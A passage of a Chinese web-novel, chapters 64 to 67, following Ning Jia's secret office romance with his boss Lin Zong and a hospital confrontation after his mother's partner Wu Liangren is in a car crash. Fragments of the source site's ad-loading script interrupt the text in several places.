"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 路上,宁嘉还犯困,歪在副驾驶上昏昏欲睡,林纵掉了个头,宁嘉的脑袋跟着转了个弯,突然转醒:“学长,在公司我们俩还是装不认识是吗?” 林纵偏过头打量宁嘉的表情,猜想他说这话心里是个什么意思。 有时候因为宁嘉太擅长微笑,热衷于给人提供情绪价值,以至于林纵也会不明白,说这话的时候,宁嘉究竟是想还是不想。 猜不明白就只好问:“你怎么想的?” 谁料宁嘉傻兮兮地笑起来:“我觉得挺好的啊,那你要不要和我搞办公室恋情?” 红灯停,汽车驻足在客流量大的路口,车窗隐蔽,车内的人却能够将窗外街景看得清楚。宁嘉不懂车连防偷窥玻璃都不懂,他被林纵圈进怀里偷香:“如果你喜欢,偷情也不错。” 宁嘉的脸红得和西红柿似的,后面响起了喇叭声,林纵面不改色启动车子,像是什么都没发生过,平静地将汽车汇入车流。 汽车驶进公司车库,宁嘉很快进入角色,仔细观察车外情况,回头,对林纵说:“学长,我先下车,你晚一点再出来。” 林纵眼尾带着笑,配合地点头。 上午工作时间短,上班内容还是学习为主,虽然这份工作做不久,但宁嘉还是很享受上班的时间,这是一个学习的过程,不一定有用,不过毕竟活到老学到老。 临近午休,陈遇敲门进办公室:“林纵,中午是食堂还是?” 本来,这种问题是不用问的,林纵每天固定吃一家餐厅的外送,但昨天中午林纵偏偏要去食堂,这给陈遇整不会了。 吃饭,林纵想了想,说:“等等,我问问宁嘉。” 陈遇:“......” 陈遇昨天被林纵警告了,大概意思是不可以告诉别人宁嘉的身份,也要装作不认识宁嘉,两个在公司正常交流就可以。 不认识就不认识,但林纵没打算不认识宁嘉,这才一天就点上外卖了,生怕别人发现不了。 宁嘉没回消息,时间也不早了,林纵对陈遇友好微笑:“宁嘉没回消息,你去问问他中午要吃什么。” 陈遇嘴角一抽,想反驳林纵,但他不敢,这个公司里,从来没有人因为林纵年轻而去挑衅他,所以不满他的人,最后得到的都是补偿金和辞退书。 陈遇笑容更甚:“好的,林总。” 宁嘉还在处理工作报表,被领导校正格式不对,突然面前出现一部手机,屏幕上打着几个字——中午要吃什么? 宁嘉吓了一跳,转头看见陈遇一副“老子是个大冤种”的脸,用讲悄悄话的语气问:“学长问我的啊?” 陈遇点头。 边上同事好奇地看着他俩,宁嘉想了想:“我和他们一起吃吧。” 陈遇点头走了 立马有同事迎上来:“宁嘉宁嘉,陈助理找你干吗啊?你们认识吗?” 宁嘉笑说:“来公司之前我们就认识。” 同事咂舌:“他怎么不让你给林总当助理啊?” 宁嘉佯装生气:“我很正经的好吧。” 宁嘉中午吃完饭就开始犯困,同事在他边上唠叨些什么,他已经听不见了,这时,陈遇站到路口,一脸麻木:“宁嘉,过来一下。” 同事两眼放光,满脸“我懂的我懂的”:“宁嘉,你快去吧。” 宁嘉对陈遇还是很有好感的,几次来找林纵都会碰上他,对于宁嘉来说,陈遇像个林纵的代名词,宁嘉看到他也很开心:“陈助理,你怎么来了?” 陈助理虽然不敢怼林纵,在宁嘉面前反抗一下还是敢的:“林总喊你去睡觉。” “啊,哈哈哈哈,”宁嘉一点都不尴尬地笑,“因为我说要和学长偷偷摸摸谈办公室恋情,所以难为你了,要给我俩当电灯泡,不好意思啦,哈哈哈哈哈。” 陈遇:“.....” 65. 第 65 章 宁嘉打开办公室的门,没人,回头看看陈遇,得到对方肯定的眼神后,推门入内,关上门,再走进休息室。 林纵日常穿麻烦的衬衫西裤,午休时会换上舒适的睡衣,这会儿他正倚在床头,手上拿着一本书在阅读。 见宁嘉进来,也只是抬眼瞧了瞧,仿佛他们已经很熟悉了:“要不要换衣服睡,柜子里有。” 宁嘉穿的已经很休闲了,在床上睡个觉完全没压力,笑笑:“不换也可以,就是怕你嫌我脏。” 林纵这才放下书正眼看他:“你前两次来,我都让你睡地上?” “说的也是哈。”宁嘉的脸皮突然就练厚了,不怕林纵说,不动声色地靠近,贴在林纵身边。 林纵顺势摸了把他的头发,像在摸一只猫:“别坐地上,去换个衣服过来睡觉。” 宁嘉在不属于他的地方找到属于他的衣服,换上,磨磨蹭蹭爬到床上,躺在林纵身边,悄无声息地盖好被子,面容十分安详。 林纵放下书,也躺了下去,宁嘉侧过头,胳膊枕着脑袋:“学长,你刚刚在看什么书?” 林纵学着宁嘉的姿势,难得调侃道:“一些看不进去的东西。” 宁嘉觉得意外,但躺在林纵身边太舒服了,相比起前几回,这次过来,他的心境又有不同,会有些不自在,却又觉得很安心。 宁嘉傻笑着,眼睛都眯了起来:“真的吗?我还以为你是学霸,什么理论内容都看得下去。” 林纵淡淡道:“学霸是那些在学业上有很高成就的人,我明显不是。” 说到这,宁嘉倒有些好奇:“学长,你那时候没有读研是因为要回来工作吗?是不是对于有钱人来说,继承家族企业就够了,读书其实没什么用?” “大部分有钱人确实是这个想法,”林纵没有反驳宁嘉的话,“林平生希望我回来替他工作,我没有拒绝是觉得这样的人生无论走到哪里都不会有太大的差别。” 宁嘉这才明白林纵话里的意思,连忙解释:“学长,我不是这个意思,我才没有把你和那些人划分到一起。” 林纵说:“没关系。” 话题绕了一圈,宁嘉又重说回去:“但是学长你不可以这么想,人生在世还是很美好的,如果你不喜欢林平生就不要和他在一起嘛,为什么要这么对自己。” 其实林纵也没有怎么样,他只是无所谓而已,因为离开林俏俏后一直过着这样的生活,不知是麻木还是无所谓,在事业上面他和闻凯会做些不太重要的改变,但在生活上,大概是他们这些人的通病,从来没有想过要去摆脱这样的日子。 这一刻,林纵却很认真地听从宁嘉的话:“嗯,我知道,我在改变了,离开他的公司,去过自己的生活。” 宁嘉想起来了,笑道:“所以昨晚我猜对了嘛,你要辞职果然是因为这个。” 林纵眉眼柔和,人畜无害的一张笑容,对宁嘉说:“所以我给你奖励了。” 宁嘉不想和他说了:“......” 午觉睡醒,宁嘉在床上伸了个懒腰,脚丫子从床尾伸出去,因为伸得太直,抽筋了,一时间表情狰狞,嗷嗷叫了好几声。 林纵坐起来:“怎么了?” 宁嘉倒进他怀里,眼泪差点出来:“啊啊啊啊,我腿抽筋了,好疼。” 林纵扶着宁嘉躺好,坐到他腿边,手心握着他的脚。 “脏。”宁嘉忍不住要收回腿,更疼了,欲哭无泪,“我没有洗脚。” 林纵捉着他的脚心,不让他动:“别乱动,不嫌弃你。” 宁嘉倒在床上像个躺尸的,歪着脑袋看林纵地给他按摩,这一刻,宁嘉突然新生错觉,想就这么问问林纵:你喜不喜欢我的?我觉得你好像喜欢我的。 可宁嘉又问不出来,怕得到的答案不是他想要的,又觉得事到如今猜想这些事情并没有什么意义。 事实却并非如此,一整个下午,宁嘉在工作上都有些分心,领导有些强迫症,让宁嘉做的表格不但要数据准确,还要长得好看。 他中午忘记和林纵吐槽了,这会儿消息一通发:我要居中文字,还要该大大,该小小,还要换文字换颜色。 宁嘉:我是做数据的啊!! 宁嘉:没人告诉我要做设计啊!! 宁嘉:学长,能不能告诉我你什么时候离职,我在家里等你啊!! 陈遇还在和林纵汇报工作,他们林总的手机却不合时宜地响个没完,陈遇无奈:“林总......要不您先看消息?” 林纵眼里含着笑意,把宁嘉的消息看完后合上手机:“你继续说。” 陈遇一点都不想说:“......” 宁嘉发完消息,又继续回归工作,给林纵发消息只是怕自己忘了说,然而他看着眼前的表格,思绪却不受控制地发散。 有些事是从来没有往那方面想过,就像江软一次次调侃宁嘉不是直男一样,宁嘉从来不当真,等到他终于肯正视自己的时候,回头探究的每一个瞬间,都有林纵的身影。 这一天也是一样,宁嘉从来不敢想的,认为林纵也会喜欢他。无论他和林纵每天共处一室,在床上因为本能拥抱在一起,做那些亲密的事,宁嘉却从来没有想过的,林纵会喜欢他。 从始至终宁嘉都是一个想法——他和林纵不是一个世界的人。 在林纵贬低自己人生的时候,宁嘉也无数次觉得,自己这样的人连丑小鸭都算不上,怎么可能会有林纵站在一起的一天。 但是万一的,宁嘉终于敢做这样的假设,万一呢,学长也喜欢我的。 以此命题作为中心,宁嘉再次回顾,从以往的经历中抽丝剥茧,寻找每一条“学长也喜欢我”的证据。 宁嘉迟钝地意识到,好像有很多这样的证据,他想,学长应该也是喜欢我的。 给表格装饰美化的过程实在太过痛苦,宁嘉一边操作,一边怀疑,学长为什么喜欢我? 有什么理由让这样优秀的学长喜欢这样平凡的我? 一整个下午,宁嘉脑子里的小人不停地摘花瓣,上一秒说学长喜欢我,下一秒又说学长不喜欢我。 宁嘉都快颠了,也没有找到一个肯定的答案。 临近下班,宁嘉收到林纵的消息,除了对宁嘉的领导表示相应的谴责外,还问:什么时候下班? 这就是办公室恋情的好处了,宁嘉傻傻笑起来,又不纠结林纵是不是喜欢他了:领导没说。 宁嘉:学长,你们公司支持准点下班吗? 林纵:“......” 陈遇在这时刚好推进办公室的门,林纵抬头看过去,陈遇被这略显亲昵的眼神吓得后退一步:“林总,您有什么事?” 林纵犹如一个随和的上司,微笑中充满着工作的美好:“麻烦你帮我把宁嘉叫过来。” 陈遇:“......” 陈遇老老实实去喊人:“宁嘉,你过来一下。” 身边的同事朝宁嘉挤眉弄眼,意思是:你看吧,虽然当不成助理,但是有关系在还是不一样。 宁嘉讪笑,走的时候顺便保存和关闭文件,同事刚想问宁嘉工作完成了没有,宁嘉已经迅速跑路了。 宁嘉被带走,风风火火跑进林纵办公室:“学长,找我什么事?” 宁嘉那表情分明是懂了,林纵叫他来的用意,非要林纵亲口说:“带你翘班。” 啊,不知道他和林纵是不是在谈,但是这种感觉太美好了喂。 车上,林纵说:“晚上在外面吃,晚点带你去公司看看。” 宁嘉惊喜地问:“是你和闻凯的那个公司吗?” 林纵点头:“小公司,职员很少,他们晚上也下班了。” 宁嘉懂了,完全不介意,林纵这是带他去考察未来公司,便问: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “有什么建设性的意见,我是不是可以提提?” 林纵非常好说话:“可以,只要你说的出来。” 宁嘉:“......瞧不起谁呢。” 闻凯也在公司,看见宁嘉当即骂道:“他为什么也在!” 宁嘉有林纵撑腰,十分傲气,叉腰:“叫嫂子,小弟!” 闻凯:“......” 晚上过来也是为了工作,林纵和闻凯讨论着宁嘉完全听不懂的东西,宁嘉也没打算听他们的隐私,得到林纵的允许在公司里到处逛了逛。 这栋写字楼离林纵如今就职的公司很远,住所也是,真要说起来,林纵之前住的公寓离这里最近。 这也是林纵认识宁嘉之前的安排,在一间离自己住所近的地方上班,闲暇时加班也方便,林纵的人生里或者没有很多目标,如今能在工作上有所成就,相比也是高兴的。 如林纵所说,这件公司的面积确实不大,五百平方左右,十几张办公桌,两面环窗,如果在白天,必定视野开阔。 有会议室和几间独立的办公室,算得上五脏俱全,这样的公司确实不大,可作为一个新开始确实合适。 宁嘉本来就不是见过很多世面的人,他对未来的生活没有很多要求,这样的地方对他来说是足够的,不知道林纵怎么想。 茶水间在拐角处,房间是四面玻璃结构,茶几上放了几颗糖果和几瓶矿泉水,宁嘉坐在一旁的藤椅上,翘着二郎腿,挺惬意地享受高楼风景。 公司在二十层,窗外夜景明显,宁嘉心里得意,哈哈大笑,张开双臂:这些都是朕的江山。 “嫂子?你在干吗?”闻凯站在门口,语气古怪。 宁嘉淡定收手:“没事。” “6,”闻凯竖起大拇指,“你真好意思当我嫂子。” 宁嘉对上林纵之外的人从来不怂:“你都敢叫,我为什么不敢应?” 闻凯问:“林纵说你去他公司上班了?” 宁嘉说:“你有什么意见?” 闻凯:“意见没有,让你对他好点。” 宁嘉想堵人的话没说出口,讷讷道:“哦。”又问,“我学长呢?” “在看文件,”闻凯指着隔壁办公室,“管理一家公司不轻松,林纵不一定行。” 宁嘉他急了:“谁说我学长不行,我学长特别行!” 闻凯:“行行行,我知道他很行,这些细节,你不用告诉我的。” 宁嘉:“......” 就这样,宁嘉过了一段不错的日子,每天在公司和林纵偷情,中午睡总裁,晚上被总裁睡,除了刚开始被林纵带着翘了一天班,为了符合情景,宁嘉每天都老老实实跟同事一起下班。 晚上,两人在外头一起吃饭,一天换一家餐厅,吃完再去小公司加班,林纵看文件,宁嘉偶尔在边上打打下手。 照林纵的意思,陈遇以后过来会当个平平无奇管理层,如果宁嘉乐意可以给林纵当助理,不愿意就当个快乐的小员工。 宁嘉当然不愿意,于是助理的工作就被他轻松拿到手。 当然,这段日子所有人都过得挺不错,要说受害者,大概只有陈遇一人,所谓的管理层也算是个补偿,于是宁嘉对陈遇一点愧疚都没有。 这天下午,宁嘉睡醒趴在林纵身上装死,缓了缓神才磨蹭去上班,这段日子刚好换季,宁嘉睡得头昏脑涨,感觉自己是着凉了,但没和林纵说。 工作处理的乱七八糟,半天没个进展,给林纵发消息:学长,你在干吗? 林纵没回。 林平生已经很久没有联系林纵了,在最开始几天的殷勤后,像林少一样没了踪影,这天下午,林纵却接到了林平生的电话,一举惊人:“吴良仁出车祸了,在医院抢救。” 与此同时,宁嘉接到许诗瑶的电话,这场景似曾相识:“嘉嘉,我在医院。” 66. 第 66 章 宁嘉和许诗瑶有一段时间没有联系了。 自从许诗瑶每次给宁嘉打电话的目的都变成吴良仁后,宁嘉不再得到属于母亲的关心后,他也就不再想着去主动联系许诗瑶。 像他和林纵说的那样,虽然不舍,但还是为了新生活在放弃舍不下的过去。 最后几次,许诗瑶给宁嘉打来电话,连寒暄都没有,就是为了给吴良仁借钱,宁嘉更是心灰意冷,不在奢望什么了。 许诗瑶这一天的电话着实让宁嘉应接不暇,宁嘉和同事打了个招呼,急匆匆地出门:“你怎么在医院啊,复诊吗?医生怎么说,是不是不太好?” 仔细想想,宁嘉很久没有听见许诗瑶用这样的语气和他讲话的,声音软糯带着笑意,是他记忆里妈妈的样子:“是有点不太好,医生让我尽早做手术。” 宁嘉曾经不会爱人,完全不能理解许诗瑶对吴良仁做出的让步,如今他懂了一些,虽然还是不理解,但也有了那么一点点感同身受。 宁嘉问:“吴良仁没陪你来对吗?” 许诗瑶说:“嗯,我还没有告诉他呢。” 宁嘉心里咯噔一声,很怕从许诗瑶这里听到他不想要的答案:“那你要做手术吗?” “要的,”许诗瑶孤身一人坐在走廊上,心绪却是从未有过的平和,“我还是怕死。医生和我说再不做手术就会死的时候,我害怕了,”说着笑起来,“怕看不见明天的太阳,还有我的儿子。” 宁嘉这才松了一口气,他妈妈的脑子终于转过弯来了:“吴良仁那边你打算怎么办?” 做手术不是小事,术后身体表现明显,如果是想瞒,肯定是瞒不住的。 许诗瑶笑起来:“他如果接受不了,我们就只好分开啦。” 宁嘉简直有想哭的冲动:“妈,你终于想开了。” 许诗瑶笑着说,终于唏嘘感叹:“是我脑子不清醒,害你要经历这样的事情。” 说没有怨言,肯定是假的,宁嘉干巴巴道:“没关系,我以后再考虑要不要原谅你。” 许诗瑶问:“你和小纵还好吗?” 这一点宁嘉决定不瞒着他妈:“也不全都是坏事吧,我和学长现在挺好的,学长也对我很好。” “那就好。”许诗瑶说。 片刻后,又缓缓道:“你不肯帮他借钱后,他就对我冷淡了很多。” 许诗瑶没提吴良仁的名字,宁嘉却知道他们讨论的人是他,妈妈和儿子讨论恋情的体验还挺新鲜,宁嘉于是静静地听着。 这些话许诗瑶应该憋在心里很久了,她不会和旁人说这样的事,唯一能说的宁嘉却被他弄丢了。 “我很笨,以前看不明白,现在才有点失望,发现他原来没有那么喜欢我,答应要和我结婚也没有做到,我提过的,他把话题岔过去的时候,我就该知道结果了。” 所以许诗瑶想开了,怕死是有的,更多的是对吴良仁的失望。 失望了,突然就看明白了。 宁嘉笑起来,又泪眼汪汪的,一时间情绪莫变:“他最近都不找你玩了是吧?” 周遭人来人往,许诗瑶静坐在等候区门口,笑着说:“对呀,每次找我都是希望我找你和小纵,说想要借钱,我也不知道他想要多少钱,他却说有钱人经常借来借去,都是为了赚钱。” “不知道你和小纵为什么不肯答应我。” 许诗瑶心平气和,宁嘉才肯和她多说两句:“妈,我会和学长结婚是因为你,你说你想要和吴良仁结婚,说我们结婚,你们也会结婚。” 想到曾经的事宁嘉还冒火:“沦为你们婚姻的牺牲品我也不在乎,但结果我是个炮灰,吴良仁压根没想和你结婚。” “他......”许诗瑶又有些犹豫,因为想不通,还想要替吴良仁说话,“可能有他的想法吧,我后来想不结婚也没有关系,反正我们都是单身,真要出轨,我也不知道的。” 许诗瑶还是太天真了,宁嘉捏捏眉头,脑壳子生疼:“那个臭老头地中海老男人是骗你的。” 许诗瑶被宁嘉的描述惊呆了:“......” 宁嘉憋了一肚子火,不吐不快:“学长那天告诉我一件事,他说吴良仁根本不会和你结婚的。” “怎么会......”让晚辈知道自己的私事,许诗瑶一时有些尴尬。 宁嘉全然不知,一口一个炸弹:“吴良仁被他前妻出轨了,那女的什么都不要,只要吴良仁不续弦。你们两个的事,林纵他爸那个圈子的人都知道,都知道你们不会结婚,你却把自己的儿子送去和林家联姻。” 宁嘉恶毒道:“妈,你被人当笑话啦!” 许诗瑶:“......” “你知道林家为什么不肯给吴良仁钱吗?那生意对林家没有好处是一码事,更终于的是,林纵他爸觉得,我和林纵结婚是我们两个人的事,和吴家没有半毛钱的关系,吴良仁的算盘落空了。” 许诗瑶不知道林家那些见不得的事,宁嘉也没打算告诉她,开口就用“林纵他爸”来代替。 然而许诗瑶的三观这这一刻彻底被颠覆了,她只是想要做手术而已,告诉宁嘉只是为了增长自己的决心,怎么也没有想过会听到这些。 一时间心绪不能平:“我......我不信,” 宁嘉像童话里的老巫婆,低声喃语:“你可以去问问他,当面和他对峙。” 许诗瑶已经站起来了,在洁白环境下像个勇士:“......好,好,我现在就去找他。” 宁嘉正想要说点什么,跑到一大圈的陈遇终于找到了宁嘉:“有急事,林总找你。” 正好许诗瑶也要挂电话:“妈,你去吧,我学长找我,我先去找他玩了。” 也算是不幸中的万幸,唯一值得庆幸的是林纵和宁嘉的真感情,到底是让许诗瑶需要牵挂的事少了一件:“好呀,晚点再和你说。” 宁嘉怂恿道:“好,那你晚点告诉我结果,晚上没地方住的话和我说。” 陈遇看起来很着急,宁嘉跟在他身后还忍不住逗他:“陈助理,你别走那么快,我腿短跟不上。” 回忆起几分钟前的事,陈遇仍然心有余悸,他从来没见过这个样子的林纵,失去了以往的淡然,办公室的门被大力推开:“把宁嘉找过来,赶紧。” 陈遇找到宁嘉的工位却没有看到宁嘉的人,出门找了一大圈连楼梯间都翻过了,才在角落找到宁嘉。 眼下陈遇也笑不出来:“林总找你,很着急,看样子不是什么好事。” 宁嘉:“......谁教你这么讲话的。” 陈遇只想赶紧把宁嘉交出去。 办公室门打开,宁嘉被陈遇推进去,看到林纵一脸凝重的样子,走过去:“学长,怎么了?” 林纵靠在办公桌前,皱着眉,见宁嘉过来连停顿都没有,便说:“吴良仁出了车祸,情况紧急,可能抢救不过来。” 宁嘉一下就懵了,愣愣地被林纵带出办公室,不敢相信:“......假的吧, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我刚还在和我妈打电话,她不知道这件事。” 林纵语调冰冷,揽着宁嘉进了电梯:“林平生告诉我的,你妈妈是外人,没有人会告诉她这件事。” 林平生告诉林纵,是因为这事有关宁嘉,以林纵对宁嘉的在乎程度,足以让林纵和林平生多说两句。 因为吴良仁没有和许诗瑶结婚,在那个圈子里,许诗瑶不过是个笑话、外人,没人会把吴良仁出事的事告诉她,因为她不是重要的人。 情况比宁嘉想象的还要严重,直到坐上车,宁嘉都没有从林纵的话里反应过来:“......学长,我是不是要告诉我妈妈?” “嗯,”宁嘉连安全带都忘了系,林纵替他系好,抱了抱他,在他额头上很轻地吻了一下,带着安抚的意味,“不方便就我来说。” “我......,我,我来吧,”宁嘉想要系安全带却发现已经系好了。 父亲离世后,宁嘉还是第一次碰到这样的事,他已经长大了,是个大人了,却无法接受一个活生生的人因为意外,可能再也无法出现在他面前。 宁嘉握着手机,电话没被接通的每一秒人都在剧烈的发抖,他无法自控。 终于,宁嘉听到了许诗瑶的声音,久违的动听,她笑起来:“嘉嘉,我还没到家呢,刚才给他打电话没人接。” 许诗瑶是外人,宁嘉再一次听懂这句话的意思。 宁嘉失望透顶,想说的话只剩下最后一句:“吴良仁出了车祸,可能会死,妈,你要去看看他吗?” 车开到一半,又匆忙回头。 司机不在,吴良仁自己开的车,路人第一时间把他送到附近的人民医院。 许诗瑶跑的高跟鞋都断了,捧在怀里,跑到急诊室,被吴华捉住了衣领。 这个从来不看好许诗瑶的男人对她露出凶神恶煞的嘴脸:“你这个害人精,克死了你前夫还不够,还要害死我爸才甘心吗?!早就说了不让你们在一起,为什么非要缠着我爸!” “真可怜啊,这么年轻就死了老公,以后孤儿寡母该怎么办啊。” “她那个死鬼老公有什么用啊,一天到晚都知道赌,孩子最可怜啊。” “她死了老公一点都不伤心,怎么还好意思出门,” 回忆接踵而至,许诗瑶被吴华拖拽到了地上,是这样吗,她又害死了人吗? 医院里,熙攘又安静,墙壁上写着禁止大声喧哗的字眼,却没有人敢拦着吴华行凶。 宁嘉疾步走过去,连林纵都被落在身后,许诗瑶被扶起来,看见宁嘉的那一刻,眼泪终于夺眶而出。 宁嘉凶狠地瞪着吴华,吴华显然也知道他是谁:“看——”什么看。 宁嘉一拳头用了十二分的力气,甩得吴华斜摔过去,被身后的人扶住。 吴华暴怒,站直后挥起拳头,这次他终于把话说完了:“你他妈找死——” 手腕却被大力握住,转头看见林纵,目眦欲裂。 宁嘉撑着空挡,挥手又是一巴掌。 同样一巴掌,同样的力道,护着吴华的人都没来得及反应。 “啊啊——!” 吴华怒目而视:“老子还没喊疼,你他妈叫什么叫!” 宁嘉眼泪往往,看向林纵,委屈地不得了,那表情许诗瑶看了都摇头,记忆里的儿子好像不这样。 空着的那只手握着另一只的手腕:“学长,学长!我手断了。” 吴华:“......?” 操。 67. 第 67 章 经过宁嘉本人以医生诊治判断,宁嘉腕部骨折,许诗瑶膝盖处软组织挫伤,被带进石膏室的时候,宁嘉还在和林纵依依惜别,完全没有刚刚在车上因为惊吓,慌忙地说不出话的样子。 宁嘉带着一只石膏手出来,情绪平缓下来,看向林纵:“学长,我妈呢?” 宁嘉脖子上挂了个绳,造型看上去还挺喜感,林纵摸了摸他的头发,力道很轻,和安慰富贵的时候一样:“过去等了。” 到这会儿,宁嘉还有点恨铁不成钢的感觉:“她都不怕被人打。” 林纵的动作小心翼翼地:“我让人盯着了。” 宁嘉点点头:“那我们也过去吧。” 还没到,就听见吴华在吵:“别以为我不知道,我爸只有找你的时候才不用司机,他在找你路上出的事,你以为自己没有责任?” 许诗瑶四十岁的年纪了仍然年轻漂亮,高跟鞋被放在一旁,她坐在那里,白皙的长腿裹着纱布,吴良仁是疯子,他儿子不遑多让,打女人的事都干得出来。 林纵安排的人站在许诗瑶身旁,像一座山,给了许诗瑶继续坐在那里的勇气:“......我不知道,他没有和我说要来找我,我们已经很久没有见面了,良仁说他没空。” 宁嘉裂开,这样的话他妈也信? “他除了找你,还会找你?在去你家的必经之路上出的车祸,”这一家人似乎都对软柿子情有独钟,不捏一下心里格外难受,“我告诉你,我爸要是出了什么事,我和你没完。” “你想怎么样?”宁嘉迈着六亲不认的步伐走过去,这话宁嘉不该在这个时候说,但吴华真的太不要脸了,他忍不了一点,“你爸走在路上摔了一跤也要我妈负责?说了没找就是没找,他一厢情愿的行为也要我妈买单?” 这话算是说到宁嘉的心坎里了,宁嘉不免佩服自己,这么长时间,他也一直是这么个心态,许诗瑶做的事再过分,他也没有不给吴良仁面子,因为是许诗瑶的一厢情愿,宁嘉再怪,也只能怪自己亲妈。 吴华也不管医院不医院,仗着自己是病人家属,从头到尾都在发癫:“你说没找就没找?长了张嘴了不起,出口成章了你?” 宁嘉深吸一口气,真的很想打人,挥一挥仅剩的左手,林纵和许诗瑶一起拦上来:“别冲动,别冲动。” 宁嘉实在是忍得太久了,这个关头吴华想和他吵,他也跟着吵,控制不了自己。 “你爸出事的时候我妈还在医院,他要真要找我妈,他会去家里?”宁嘉从许诗瑶的包里翻出手机,“你自己看,有没有通话记录,唯一一个还是我妈后来打电话准备和他分手用的!” 许诗瑶表情一变:“......” 吴华脸色一绿:“......” 亲爹面子不保,吴华无理取闹:“通话记录不能删?” 宁嘉又要动手了:“你去查,你他妈去查,营业厅的记录我也能删。” 林纵一胳膊把宁嘉圈在怀里,既要护住右手,又要拦住动手的左手,许诗瑶慌里慌张站起来,腿上的东西噼里啪啦掉了一地。 吴华被宁嘉的架势吓得后退,他脸疼,刚刚被打过的脸此刻非常疼。 宁嘉疯了一下渐渐平静下来:“我知道了,我不打人。” 宁嘉在许诗瑶身边坐着,毕竟也认识这么久了,虽然没把吴良仁当成什么亲人,却也没法不在意。 手术室外亮着“手术中”的红灯,走廊上一时安静下来,只剩下喘息声和许诗瑶很轻很轻的哭声。 “我克夫。”许诗瑶突然说。 宁嘉握着他妈的手,只希望这个骨节眼许诗瑶别再有什么想不开的事,本来身上就有个定时炸弹,好不容易想开了,别再出什么意外:“你们连婚都没结,他算你哪门子夫?” 吴华听到这话又怒了,他瞪着宁嘉,宁嘉也完全不杵,一双大眼睛瞪了回去。 吴华站起来作势要打架。 林纵往前走了一步,声音不疾不徐,连眼神都是没有力度的:“他动他一个试试。” 许诗瑶身边站着的保镖像一座山,宁嘉面前的林纵更是,林纵什么都没做,神色淡然,但林家人威慑力不在于他们的长相,而是地位本身,吴华惹不起这样的人。 吴华又坐了回去,嘴上骂骂咧咧,想说什么,又不敢大声说,只说了些宁嘉听不清的脏话,宁嘉觉得烦,也不想管。 许久后,手术外等候的众人无论以什么样的心态终归还是慢慢平静下来,闹了一场又打了个一架,宁嘉也累了,右手架在脖子上,脑袋往林纵腹部上靠。 林纵捋着他的头发玩。 “学长。”宁嘉用脑袋碰碰林纵的腹肌。 林纵问:“怎么了?” 宁嘉说:“我饿了,我们去买点吃的吧。” 两人于是起身。 宁嘉后知后觉才意识到一件事,林纵或许不喜欢手术室外沉重的气氛,宁嘉不懂,因为上次听到点林纵和闻凯的谈话,下意识想让林纵离开这样的场合,无论手术室里有没有林纵重要的人,会不会让他觉得不舒服。 医院里人多,林纵站在宁嘉右手边揽着他的肩,把宁嘉护在怀里,怕他被人磕碰。 这一刻,宁嘉的想法异常诡异,在很不应该很不应该考虑这些的场合下,他在想,学长应该是喜欢我的。 宁嘉:“......” 最近天气有要转凉的迹象,太阳经常被云层遮挡,天仍是亮的,但阳光没有那么热辣,走在路上不再觉得闷到难以呼吸。 “学长。”宁嘉喊道。 “怎么了?”林纵问。 “他会好好的吗?”宁嘉问的是吴良仁。 即便林纵想护着宁嘉,不让他经历这些,可也没有办法,有些事实总要面对:“不太好,医生那边在尽力抢救,但听说救不回来了。他一死,公司股权动荡,董事会势必混乱,现在强撑着只是在给吴家应对的时间。” 宁嘉脚步慢下来,偏过头看向林纵,眼睛慢慢红了:“我只是讨厌他,没有想过要让他出事的。” “对不起。”林纵的道歉毫无意义,他却停下来,抱着宁嘉,“不应该让你经历这些。” 宁嘉一滴眼泪落下来,低头在林纵上擦干,闷闷道:“和你有什么关系,你也不想的。我们快走吧,好多人在看。” 便利店里,宁嘉捧着一碗关东煮,热气氤氲到脸上,熏得他眼睛一眨一眨的,心绪反而平和许多。 一整个下午,像过山车一样,宁嘉的心情像持续上坡的火车,在得知结果的那一刻重重落下,心像死了一样平静。 “我爸也是突然出事的,”宁嘉喝了口热汤,望向窗外,“那年我高二,还在上化学课,班主任突然把我叫出去,也不说什么事,就让我回家。” “那时候家里条件不好,没有住校,要回家就是收拾几本书,班主任叫我别收拾了,先回家,他把我送到校门口,还说要给我打车,我还说不用,我家很近的,十几分钟就到了。” 宁嘉到现在都记得班主任当时的表情:“他看着我,说,不是回去,要去医院。” “可能看我太傻了,班主任不放心,又送我去了医院。那年我十七岁,印象里根本没去过医院,路都不认识,班主任丢开我去问路,问了又带着我过去。” 回忆往事,宁嘉心绪平和,他看向林纵,笑了一下,不知在安慰听故事的林纵还是当时的自己:“电梯门打开,我看见我妈坐在地上哭,有一辆盖着白布的手术车经过我,我都不知道那是我爸。” 宁嘉只是不解地疑惑地看着许诗瑶。 宁父因为嗜毒几乎没有亲戚愿意和他来往,只有许诗瑶和他们的儿子始终陪着他一起生活。 葬礼上却来了不少亲戚,因为许诗瑶不懂,给很多亲戚都打了电话,不知道葬礼应该怎么办,有什么流程,应该做些什么。 宁嘉坐在宁父被修复过的面容惨白的遗体面前,听每一个过来的人说:“这孩子太可怜了,这么小年纪就没了爹。” “这孩子孝顺啊,一直陪着他爸。” “听说是打赌回来的路上出的车祸,造孽啊。” ...... 宁嘉说:“总是有人说这样的话,我爸去世了,就有人说我妈不好,说我可怜,因为我还小。需要有人为死者的意外买单,所以我妈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被他们嚼了很久的舌根。” “我都快忘记这些事了,怎么没完没了的。”宁嘉轻声抱怨道。 但宁嘉真的饿了,一碗关东煮吃得他打了个嗝,才回去找许诗瑶,给她也带了吃的。 许诗瑶没有胃口吃饭,眼睛红肿,哭了不止一场,手术室依旧亮着灯,吴华却等得不耐烦了:“怎么才回来。” 宁嘉不耐烦地看过去。 吴华语气收敛:“我要走了,我爸手术好了,你和我说一声。” 宁嘉看向林纵,林纵几不可查地点头,宁嘉于是也点了点头:“你要去哪里?” 他们在这一刻因为同一个人短暂地心心相惜,形成难以名状的默契:“回公司。” 宁嘉明白了,是林纵刚才告诉宁嘉的那些事:“嗯。” 手术进行两个多小时后,手术外来了个脚踩恨天高背着鲜艳挎包的女人,她坐到许诗瑶面前,说:“你就是我传说中的后妈吧。” 许诗瑶肿着个红眼泡看她。 女人笑出了声:“我爸眼光不错,还挺好看的呀。” 